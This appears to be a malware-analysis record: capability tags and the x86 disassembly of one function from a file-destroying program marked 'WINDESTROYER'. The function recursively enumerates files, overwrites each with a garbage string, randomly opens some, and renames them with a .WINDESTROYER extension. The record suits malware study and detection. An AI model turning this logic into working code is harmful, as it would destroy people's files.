Function at 0x402c7c
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Enumerate files on windows
Enumerate files recursively
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a8
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x408450
lea eax, [ebp - 0x258]
mov dword [esp], eax
call fcn.004060c8
lea eax, [ebp - 0x154]
mov dword [esp + 4], eax
lea eax, [ebp - 0x258]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp + 4], 0x408457
lea eax, [ebp - 0x154]
add eax, 0x2c
mov dword [esp], eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x402f3f
mov dword [esp + 4], 0x408459
lea eax, [ebp - 0x154]
add eax, 0x2c
mov dword [esp], eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x402f3f
lea eax, [ebp - 0x154]
add eax, 0x2c
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [ebp - 0x460]
mov dword [esp], eax
call fcn.004060c8
mov eax, dword [ebp - 0x154]
and eax, 0x10
test eax, eax
je 0x402d51
lea eax, [ebp - 0x460]
mov dword [esp], eax
call fcn.00402c7c
sub esp, 4
jmp 0x402f3f
mov dword [ebp - 0x488], 0x73696874
mov dword [ebp - 0x484], 0x72747320
mov dword [ebp - 0x480], 0x20676e69
mov dword [ebp - 0x47c], 0x6c6c6977
mov dword [ebp - 0x478], 0x20656220
mov dword [ebp - 0x474], 0x62726167
mov dword [ebp - 0x470], 0x20656761
mov dword [ebp - 0x46c], 0x74657270
mov dword [ebp - 0x468], 0x73207974
mov dword [ebp - 0x464], 0x6e6f6f
mov byte [ebp - 0x488], 0
mov dword [ebp - 0xc], 0
jmp 0x402e17
call sub.api_ms_win_crt_utility_l1_1_0.dll_rand
movsx ecx, al
mov edx, 0x30c30c31
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0xa8
mov eax, ecx
sub eax, edx
add eax, 0x21
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x488]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_c
lea eax, [ebp - 0x488]
mov dword [esp], eax
call fcn.004060c8
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 4
jle 0x402dc5
lea eax, [ebp - 0x488]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sWINDESTROYER
lea eax, [ebp - 0x488]
mov dword [esp], eax
call fcn.004060c8
mov dword [esp + 4], 0x408476
lea eax, [ebp - 0x460]
mov dword [esp], eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputs
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
call sub.api_ms_win_crt_utility_l1_1_0.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
cmp eax, 0x27
jg 0x402ed9
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x460]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
call sub.api_ms_win_crt_utility_l1_1_0.dll_rand
movsx ecx, al
mov edx, 0x30c30c31
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0xa8
mov eax, ecx
sub eax, edx
add eax, 0x21
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x460]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s.WINDESTROYER
lea eax, [ebp - 0x35c]
mov dword [esp], eax
call fcn.004060c8
lea eax, [ebp - 0x35c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x460]
mov dword [esp], eax
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_rename
lea eax, [ebp - 0x154]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindNextFileA]
call eax
sub esp, 8
test eax, eax
jne 0x402cc2
nop
nop
leave
ret 4